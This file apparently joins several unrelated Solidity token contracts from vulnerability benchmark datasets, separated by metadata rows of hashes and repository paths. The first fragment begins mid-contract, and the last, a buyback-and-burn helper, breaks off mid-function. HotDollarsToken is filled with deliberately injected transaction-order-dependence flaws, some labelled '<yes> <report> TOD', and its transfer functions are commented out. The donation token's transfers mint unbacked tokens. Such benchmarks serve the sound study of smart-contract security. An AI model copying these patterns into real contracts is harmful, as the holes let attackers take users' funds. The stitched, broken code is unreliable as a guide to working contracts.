// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function donationTo(address tokenOwner) public constant returns (address donationAddress) {
return donationsTo[tokenOwner];
}
function changeDonation(address donationAddress) public returns (bool success) {
donationsTo[msg.sender] = donationAddress;
emit DonationAddressOf(msg.sender , donationAddress);
return true;
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
address donation = donationsTo[msg.sender];
balances[msg.sender] = (balances[msg.sender].sub(tokens)).add(5000); // 0.5 RWN for the sender
balances[to] = balances[to].add(tokens);
balances[donation] = balances[donation].add(5000); // 0.5 GZM for the sender's donation address
emit Transfer(msg.sender, to, tokens);
emit Donation(donation);
return true;
}
function transferAndDonateTo(address to, uint tokens, address donation) public returns (bool success) {
balances[msg.sender] = (balances[msg.sender].sub(tokens)).add(5000); // 0.5 GZM for the sender
balances[to] = balances[to].add(tokens);
balances[donation] = balances[donation].add(5000); // 0.5 GZM for the sender's specified donation address
emit Transfer(msg.sender, to, tokens);
emit Donation(donation);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
balances[donationsTo[from]] = balances[donationsTo[from]].add(5000); // 0.5 GZM for the sender's donation address
balances[donationsTo[msg.sender]] = balances[donationsTo[msg.sender]].add(5000); // 0.5 GZM for the sender
emit Transfer(from, to, tokens);
emit Donation(donationsTo[from]);
emit Donation(donationsTo[msg.sender]);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
| 282,960 | 375 |
448b65782edbd53e96b2be654a370dee2761b3e222ed027820ee3c0ba17af4a5
| 12,785 |
.sol
|
Solidity
| false |
640407482
|
bit-smartcontract-analysis/smartcontract-benchmark
|
58ef12b47f600040e786b655ca1a4b44b7b6cfb9
|
small_dataset/dataset/TOD/HotDollarsToken.sol
| 3,493 | 11,330 |
pragma solidity ^0.5.0;
contract EIP20Interface {
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
address payable winner_TOD7;
function play_TOD7(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD7 = msg.sender;
}
}
function getReward_TOD7() payable public{
winner_TOD7.transfer(msg.value);
}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
address payable winner_TOD23;
function play_TOD23(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD23 = msg.sender;
}
}
function getReward_TOD23() payable public{
winner_TOD23.transfer(msg.value);
}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
bool claimed_TOD14 = false;
address payable owner_TOD14;
uint256 reward_TOD14;
function setReward_TOD14() public payable {
require (!claimed_TOD14);
require(msg.sender == owner_TOD14);
owner_TOD14.transfer(reward_TOD14);
reward_TOD14 = msg.value;
}
function claimReward_TOD14(uint256 submission) public {
require (!claimed_TOD14);
require(submission < 10);
msg.sender.transfer(reward_TOD14);
claimed_TOD14 = true;
}
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
bool claimed_TOD30 = false;
address payable owner_TOD30;
uint256 reward_TOD30;
function setReward_TOD30() public payable {
require (!claimed_TOD30);
require(msg.sender == owner_TOD30);
owner_TOD30.transfer(reward_TOD30);
reward_TOD30 = msg.value;
}
function claimReward_TOD30(uint256 submission) public {
require (!claimed_TOD30);
require(submission < 10);
msg.sender.transfer(reward_TOD30);
claimed_TOD30 = true;
}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
bool claimed_TOD8 = false;
address payable owner_TOD8;
uint256 reward_TOD8;
function setReward_TOD8() public payable {
require (!claimed_TOD8);
require(msg.sender == owner_TOD8);
owner_TOD8.transfer(reward_TOD8);
reward_TOD8 = msg.value;
}
function claimReward_TOD8(uint256 submission) public {
require (!claimed_TOD8);
require(submission < 10);
msg.sender.transfer(reward_TOD8);
claimed_TOD8 = true;
}
// solhint-disable-next-line no-simple-event-func-name
address payable winner_TOD31;
function play_TOD31(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD31 = msg.sender;
}
}
function getReward_TOD31() payable public{
winner_TOD31.transfer(msg.value);
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
address payable winner_TOD13;
function play_TOD13(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD13 = msg.sender;
}
}
function getReward_TOD13() payable public{
winner_TOD13.transfer(msg.value);
}
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract HotDollarsToken is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
bool claimed_TOD26 = false;
address payable owner_TOD26;
uint256 reward_TOD26;
function setReward_TOD26() public payable {
require (!claimed_TOD26);
require(msg.sender == owner_TOD26);
owner_TOD26.transfer(reward_TOD26);
reward_TOD26 = msg.value;
}
function claimReward_TOD26(uint256 submission) public {
require (!claimed_TOD26);
require(submission < 10);
msg.sender.transfer(reward_TOD26);
claimed_TOD26 = true;
}
mapping (address => uint256) public balances;
bool claimed_TOD20 = false;
address payable owner_TOD20;
uint256 reward_TOD20;
function setReward_TOD20() public payable {
require (!claimed_TOD20);
require(msg.sender == owner_TOD20);
owner_TOD20.transfer(reward_TOD20);
reward_TOD20 = msg.value;
}
function claimReward_TOD20(uint256 submission) public {
require (!claimed_TOD20);
require(submission < 10);
msg.sender.transfer(reward_TOD20);
claimed_TOD20 = true;
}
mapping (address => mapping (address => uint256)) public allowed;
bool claimed_TOD32 = false;
address payable owner_TOD32;
uint256 reward_TOD32;
function setReward_TOD32() public payable {
require (!claimed_TOD32);
require(msg.sender == owner_TOD32);
owner_TOD32.transfer(reward_TOD32);
reward_TOD32 = msg.value;
}
function claimReward_TOD32(uint256 submission) public {
require (!claimed_TOD32);
require(submission < 10);
msg.sender.transfer(reward_TOD32);
claimed_TOD32 = true;
}
string public name; //fancy name: eg Simon Bucks
bool claimed_TOD38 = false;
address payable owner_TOD38;
uint256 reward_TOD38;
function setReward_TOD38() public payable {
require (!claimed_TOD38);
require(msg.sender == owner_TOD38);
owner_TOD38.transfer(reward_TOD38);
reward_TOD38 = msg.value;
}
function claimReward_TOD38(uint256 submission) public {
require (!claimed_TOD38);
require(submission < 10);
// <yes> <report> TOD
msg.sender.transfer(reward_TOD38);
claimed_TOD38 = true;
}
uint8 public decimals; //How many decimals to show.
bool claimed_TOD4 = false;
address payable owner_TOD4;
uint256 reward_TOD4;
function setReward_TOD4() public payable {
require (!claimed_TOD4);
require(msg.sender == owner_TOD4);
owner_TOD4.transfer(reward_TOD4);
reward_TOD4 = msg.value;
}
function claimReward_TOD4(uint256 submission) public {
require (!claimed_TOD4);
require(submission < 10);
// <yes> <report> TOD
msg.sender.transfer(reward_TOD4);
claimed_TOD4 = true;
}
string public symbol; //An identifier: eg SBX
constructor() public {
totalSupply = 3 * 1e28;
name = "HotDollars Token";
decimals = 18;
symbol = "HDS";
balances[msg.sender] = totalSupply;
}
address payable winner_TOD39;
function play_TOD39(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD39 = msg.sender;
}
}
function getReward_TOD39() payable public{
winner_TOD39.transfer(msg.value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
// require(balances[msg.sender] >= _value);
// balances[msg.sender] -= _value;
// balances[_to] += _value;
// emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars
// return true;
}
bool claimed_TOD36 = false;
address payable owner_TOD36;
uint256 reward_TOD36;
function setReward_TOD36() public payable {
require (!claimed_TOD36);
require(msg.sender == owner_TOD36);
owner_TOD36.transfer(reward_TOD36);
reward_TOD36 = msg.value;
}
function claimReward_TOD36(uint256 submission) public {
require (!claimed_TOD36);
require(submission < 10);
msg.sender.transfer(reward_TOD36);
claimed_TOD36 = true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// uint256 allowance = allowed[_from][msg.sender];
// require(balances[_from] >= _value && allowance >= _value);
// balances[_to] += _value;
// balances[_from] -= _value;
// if (allowance < MAX_UINT256) {
// allowed[_from][msg.sender] -= _value;
// }
// emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
// return true;
}
address payable winner_TOD35;
function play_TOD35(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD35 = msg.sender;
}
}
function getReward_TOD35() payable public{
winner_TOD35.transfer(msg.value);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
bool claimed_TOD40 = false;
address payable owner_TOD40;
uint256 reward_TOD40;
function setReward_TOD40() public payable {
require (!claimed_TOD40);
require(msg.sender == owner_TOD40);
owner_TOD40.transfer(reward_TOD40);
reward_TOD40 = msg.value;
}
function claimReward_TOD40(uint256 submission) public {
require (!claimed_TOD40);
require(submission < 10);
msg.sender.transfer(reward_TOD40);
claimed_TOD40 = true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
address payable winner_TOD33;
function play_TOD33(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD33 = msg.sender;
}
}
function getReward_TOD33() payable public{
winner_TOD33.transfer(msg.value);
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
address payable winner_TOD27;
function play_TOD27(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD27 = msg.sender;
}
}
function getReward_TOD27() payable public{
winner_TOD27.transfer(msg.value);
}
}
| 258,309 | 376 |
b6e84643996e5474ed5accfa78b62d443a306ef6eefc418f59702179806e5b71
| 11,938 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x6096d2460cf5177e40b515223428dc005ad35123.sol
| 3,008 | 11,564 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract PreciumTokenBase is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) public balances_;
mapping (address => mapping (address => uint256)) public allowed_;
uint256 public totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed_[_owner][_spender];
}
function _transfer(address _from, address _to, uint256 _value) internal returns (bool) {
require(_value <= balances_[_from]);
require(_to != address(0));
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
return _transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function _transferFrom(address _from, address _to, uint256 _value) internal returns (bool) {
require(_value <= balances_[_from]);
require(_value <= allowed_[_from][msg.sender]);
require(_to != address(0));
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
return _transferFrom(_from, _to, _value);
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed_[msg.sender][_spender] = allowed_[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed_[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed_[msg.sender][_spender] = 0;
} else {
allowed_[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(_amount <= balances_[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances_[_account] = balances_[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
function burn(uint256 _amount) public {
_burn(msg.sender, _amount);
}
}
contract PreciumToken is PreciumTokenBase, Ownable {
string public name;
string public symbol;
uint256 public decimals = 18;
struct lockInfo {
uint256 lockQuantity;
uint lockPeriod;
}
mapping (address => lockInfo[]) public tokenLockInfo;
mapping (address => uint256) public unlockQuantity;
mapping (address => bool) public lockStatus;
mapping (address => bool) private FreezedWallet;
function PreciumToken(uint256 initialSupply, string tokenName, uint256 decimalsToken, string tokenSymbol) public {
decimals = decimalsToken;
totalSupply_ = initialSupply * 10 ** uint256(decimals);
emit Transfer(0, msg.sender, totalSupply_);
balances_[msg.sender] = totalSupply_;
name = tokenName;
symbol = tokenSymbol;
unlockQuantity[msg.sender] = balances_[msg.sender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
bool transferResult;
uint256 lockQuantity;
uint256 lockTotalQuantity;
uint lockPeriod;
require(FreezedWallet[msg.sender] == false);
require(FreezedWallet[_to] == false);
if(lockStatus[msg.sender] == false) {
transferResult = _transfer(msg.sender, _to, _value);
if (transferResult == true) {
unlockQuantity[msg.sender] = unlockQuantity[msg.sender].sub(_value);
unlockQuantity[_to] = unlockQuantity[_to].add(_value);
}
}
else{
for(uint i = 0; i < tokenLockInfo[msg.sender].length; i++) {
lockQuantity = tokenLockInfo[msg.sender][i].lockQuantity;
lockPeriod = tokenLockInfo[msg.sender][i].lockPeriod;
if(lockPeriod <= now && lockQuantity != 0) {
unlockQuantity[msg.sender] = unlockQuantity[msg.sender].add(lockQuantity);
tokenLockInfo[msg.sender][i].lockQuantity = 0;
lockQuantity = tokenLockInfo[msg.sender][i].lockQuantity;
}
lockTotalQuantity = lockTotalQuantity.add(lockQuantity);
}
if(lockTotalQuantity == 0)
lockStatus[msg.sender] = false;
require(_value <= unlockQuantity[msg.sender]);
transferResult = _transfer(msg.sender, _to, _value);
if (transferResult == true) {
unlockQuantity[msg.sender] = unlockQuantity[msg.sender].sub(_value);
unlockQuantity[_to] = unlockQuantity[_to].add(_value);
}
}
return transferResult;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
bool transferResult;
uint256 lockQuantity;
uint256 lockTotalQuantity;
uint lockPeriod;
require(FreezedWallet[_from] == false);
require(FreezedWallet[_to] == false);
if(lockStatus[_from] == false) {
transferResult = _transferFrom(_from, _to, _value);
if (transferResult == true) {
unlockQuantity[_from] = unlockQuantity[_from].sub(_value);
unlockQuantity[_to] = unlockQuantity[_to].add(_value);
}
}
else{
for(uint i = 0; i < tokenLockInfo[_from].length; i++) {
lockQuantity = tokenLockInfo[_from][i].lockQuantity;
lockPeriod = tokenLockInfo[_from][i].lockPeriod;
if(lockPeriod <= now && lockQuantity != 0) {
unlockQuantity[_from] = unlockQuantity[_from].add(lockQuantity);
tokenLockInfo[_from][i].lockQuantity = 0;
lockQuantity = tokenLockInfo[_from][i].lockQuantity;
}
lockTotalQuantity = lockTotalQuantity.add(lockQuantity);
}
if(lockTotalQuantity == 0)
lockStatus[_from] = false;
require(_value <= unlockQuantity[_from]);
transferResult = _transferFrom(_from, _to, _value);
if (transferResult == true) {
unlockQuantity[_from] = unlockQuantity[_from].sub(_value);
unlockQuantity[_to] = unlockQuantity[_to].add(_value);
}
}
return transferResult;
}
function transferAndLock(address _to, uint256 _value, uint _lockPeriod) onlyOwner public {
bool transferResult;
require(FreezedWallet[_to] == false);
transferResult = _transfer(msg.sender, _to, _value);
if (transferResult == true) {
lockStatus[_to] = true;
tokenLockInfo[_to].push(lockInfo(_value, now + _lockPeriod * 1 days));
unlockQuantity[msg.sender] = unlockQuantity[msg.sender].sub(_value);
}
}
function changeLockPeriod(address _owner, uint256 _index, uint _newLockPeriod) onlyOwner public {
require(_index < tokenLockInfo[_owner].length);
tokenLockInfo[_owner][_index].lockPeriod = now + _newLockPeriod * 1 days;
}
function freezingWallet(address _owner) onlyOwner public {
FreezedWallet[_owner] = true;
}
function unfreezingWallet(address _owner) onlyOwner public {
FreezedWallet[_owner] = false;
}
function burn(uint256 _amount) onlyOwner public {
_burn(msg.sender, _amount);
unlockQuantity[msg.sender] = unlockQuantity[msg.sender].sub(_amount);
}
function getNowTime() view public returns(uint res) {
return now;
}
function getLockInfo(address _owner, uint256 _index) view public returns(uint256, uint) {
return (tokenLockInfo[_owner][_index].lockQuantity, tokenLockInfo[_owner][_index].lockPeriod);
}
function getUnlockQuantity(address _owner) view public returns(uint res) {
return unlockQuantity[_owner];
}
function getLockStatus(address _owner) view public returns(bool res) {
return lockStatus[_owner];
}
function getLockCount(address _owner) view public returns(uint res) {
return tokenLockInfo[_owner].length;
}
function getFreezingInfo(address _owner) view public returns(bool res) {
return FreezedWallet[_owner];
}
}
| 194,357 | 377 |
17447532d6c3e0c7076ed05fcbe67f485d4a4b74b69264d95df3610ea98b4da7
| 14,295 |
.sol
|
Solidity
| false |
423818094
|
fantohm-dev/fantohm-contracts
|
617acb409e9c6750fa58adc81e506cf355b45634
|
tools/BurnHelper.sol
| 3,784 | 13,625 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol';
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
interface IwsFHM is IERC20 {
function unwrap(uint _amount) external returns (uint);
}
interface IStaking {
function unstake(uint _amount, bool _trigger) external;
}
interface IBurnable is IERC20 {
function burn(uint amount) external;
}
interface IUsdbMinter {
function getMarketPrice() external view returns (uint);
function mintFromFHM(uint _stableCoinAmount, uint _minimalTokenPrice) external;
}
interface ITreasury {
function manage(address _token, uint _amount) external;
function valueOf(address _token, uint _amount) external view returns (uint value_);
function deposit(uint _amount, address _token, uint _profit) external returns (uint send_);
}
interface IUniswapV2ERC20 {
function totalSupply() external view returns (uint);
}
interface IUniswapV2Pair is IUniswapV2ERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns (address);
function token1() external view returns (address);
}
/// @notice Some man just want to watch the world burn!
/// @author pwntr0n
contract BurnHelperV3 is Ownable, AccessControl {
using SafeMath for uint;
using SafeERC20 for IERC20;
/// @dev ACL role for EOA to whitelist call our methods
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
uint internal constant max = type(uint).max;
IERC20 public immutable DAI;
IBurnable public immutable FHM;
IERC20 public immutable sFHM;
IwsFHM public immutable wsFHM;
IERC20 public immutable USDB;
IStaking public immutable staking;
address public immutable uniswapV2Router;
address public immutable lp;
IUsdbMinter public immutable usdbMinter;
ITreasury public immutable treasury;
struct SoldBonds {
uint timestampFrom;
uint timestampTo;
uint payoutInUsd;
}
bool public useCircuitBreaker;
SoldBonds[] public buybacksInHour;
uint buybacksLimitUsd;
uint public totalFhmBurnt;
///
/// events
///
event SwapAndLiquifyFailed(bytes _failErr);
///
/// administration
///
constructor(address _DAI, address _FHM, address _sFHM, address _wsFHM, address _USDB, address _staking, address _uniswapV2Router, address _lp, address _usdbMinter, address _treasury) {
require(_DAI != address(0));
DAI = IERC20(_DAI);
require(_FHM != address(0));
FHM = IBurnable(_FHM);
require(_sFHM != address(0));
sFHM = IERC20(_sFHM);
require(_wsFHM != address(0));
wsFHM = IwsFHM(_wsFHM);
require(_USDB != address(0));
USDB = IERC20(_USDB);
require(_staking != address(0));
staking = IStaking(_staking);
require(_uniswapV2Router != address(0));
uniswapV2Router = _uniswapV2Router;
require(_lp != address(0));
lp = _lp;
require(_usdbMinter != address(0));
usdbMinter = IUsdbMinter(_usdbMinter);
require(_treasury != address(0));
treasury = ITreasury(_treasury);
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MANAGER_ROLE, msg.sender);
IERC20(_DAI).approve(_uniswapV2Router, max);
IERC20(_sFHM).approve(_staking, max);
IERC20(_FHM).approve(_usdbMinter, max);
IERC20(_USDB).approve(_treasury, max);
}
/// @notice set initial fhm burnt from previous contract
/// @param _totalFhmBurnt previous value
function setTotalFhmBurnt(uint _totalFhmBurnt) external onlyOwner {
totalFhmBurnt = _totalFhmBurnt;
}
/// @notice set buyback limit from usd
/// @param _useCircuitBreaker whether use circuit breaker
/// @param _buybacksLimitUsd buyback limit for 24 hours from treasury
function setUseCircuitBreakerBuybacksLimitUsd(bool _useCircuitBreaker, uint _buybacksLimitUsd) external onlyOwner {
useCircuitBreaker = _useCircuitBreaker;
buybacksLimitUsd = _buybacksLimitUsd;
}
/// @notice grants manager role to given _account
/// @param _account manager contract
function grantRoleManager(address _account) external {
grantRole(MANAGER_ROLE, _account);
}
/// @notice revoke manager role to given _account
/// @param _account manager contract
function revokeRoleManager(address _account) external {
revokeRole(MANAGER_ROLE, _account);
}
///
/// burns
///
/// @notice convenient method how to burn wrapped token from gnosis
/// @param _rawBurn true if burn to 0x0 or false to burn into usdb
function burnAllWrappedTokens(bool _rawBurn) external {
uint balance = wsFHM.balanceOf(msg.sender);
wsFHM.transferFrom(msg.sender, address(this), balance);
wsFHM.unwrap(balance);
staking.unstake(sFHM.balanceOf(address(this)), true);
burnAllNativeTokens(_rawBurn);
}
/// @notice convenient method how to burn staked token from gnosis
/// @param _rawBurn true if burn to 0x0 or false to burn into usdb
function burnAllStakedTokens(bool _rawBurn) external {
uint balance = sFHM.balanceOf(msg.sender);
sFHM.transferFrom(msg.sender, address(this), balance);
IStaking(staking).unstake(balance, true);
burnAllNativeTokens(_rawBurn);
}
/// @notice convenient method how to burn native token from gnosis
/// @param _rawBurn true if burn to 0x0 or false to burn into usdb
function burnAllNativeTokens(bool _rawBurn) public {
if (_rawBurn) {
burn();
} else {
burnIntoUsdb();
}
}
function burn() internal {
uint fhmAmount = FHM.balanceOf(address(this));
totalFhmBurnt = totalFhmBurnt.add(fhmAmount);
FHM.burn(fhmAmount);
}
function burnIntoUsdb() internal {
uint marketPrice = usdbMinter.getMarketPrice();
uint fhmAmount = FHM.balanceOf(address(this));
uint usdbAmount = fhmAmount.mul(marketPrice).div(1e2);
totalFhmBurnt = totalFhmBurnt.add(fhmAmount);
usdbMinter.mintFromFHM(usdbAmount, marketPrice);
// deposit into treasury without generating any profit
uint fhmValuation = treasury.valueOf(address(USDB), usdbAmount);
treasury.deposit(usdbAmount, address(USDB), fhmValuation);
}
///
/// buybacks
///
/// @notice get min amount out for given amount in and slippage
/// @param _daiAmountWithoutDecimals amount in
/// @param _slipPageWith1Decimal slippage, default is 0
/// @return _fhmAmount min amount out
function getAmountOut(uint _daiAmountWithoutDecimals, uint _slipPageWith1Decimal) external view returns (uint _fhmAmount) {
(uint reserveA, uint reserveB) = getReserves(lp, address(DAI), address(FHM));
uint fhmAmount = getAmountOut(_daiAmountWithoutDecimals.mul(10 ** 18), reserveA, reserveB);
_fhmAmount = fhmAmount.mul(uint(1000).sub(_slipPageWith1Decimal)).div(1000);
}
/// @notice buyback and burn from treasury
/// @param _daiAmountWithoutDecimals dai amount without any decimal, so 1000 is 1000 dai
/// @param _minFhmAmount min fhm amount we can receive
/// @param _rawBurn true if burn to 0x0 or false to burn into usdb
function buybackAndBurnFromTreasury(uint _daiAmountWithoutDecimals, uint _minFhmAmount, bool _rawBurn) external {
require(hasRole(MANAGER_ROLE, msg.sender), "MISSING_MANAGER_ROLE");
uint daiAmount = _daiAmountWithoutDecimals.mul(1e18);
require(!circuitBreakerActivated(daiAmount), "CIRCUIT_BREAKER_ACTIVE");
if (useCircuitBreaker) updateSoldBonds(buybacksInHour, daiAmount);
// manage LP token
treasury.manage(address(DAI), daiAmount);
// swap dai for fhm
swapTokensForTokens(DAI.balanceOf(address(this)), _minFhmAmount);
// burn fhm
burnAllNativeTokens(_rawBurn);
}
/// @notice buyback and burn from callers pocket
/// @param _daiAmountWithoutDecimals dai amount without any decimal, so 1000 is 1000 dai
/// @param _minFhmAmount min fhm amount we can receive
function buybackAndBurnManual(uint _daiAmountWithoutDecimals, uint _minFhmAmount) external {
// transfer wanted dai
IERC20(DAI).transferFrom(msg.sender, address(this), _daiAmountWithoutDecimals.mul(1e18));
// swap dai for fhm
swapTokensForTokens(IERC20(DAI).balanceOf(address(this)), _minFhmAmount);
// burn fhm into 0x0
burn();
}
function updateSoldBonds(SoldBonds[] storage soldBondsInHour, uint _payout) internal {
uint length = soldBondsInHour.length;
if (length == 0) {
soldBondsInHour.push(SoldBonds({
timestampFrom : block.timestamp,
timestampTo : block.timestamp + 1 hours,
payoutInUsd : _payout
}));
return;
}
SoldBonds storage soldBonds = soldBondsInHour[length - 1];
// update in existing interval
if (soldBonds.timestampFrom < block.timestamp && soldBonds.timestampTo >= block.timestamp) {
soldBonds.payoutInUsd = soldBonds.payoutInUsd.add(_payout);
} else {
// create next interval if its continuous
uint nextTo = soldBonds.timestampTo + 1 hours;
if (block.timestamp <= nextTo) {
soldBondsInHour.push(SoldBonds({
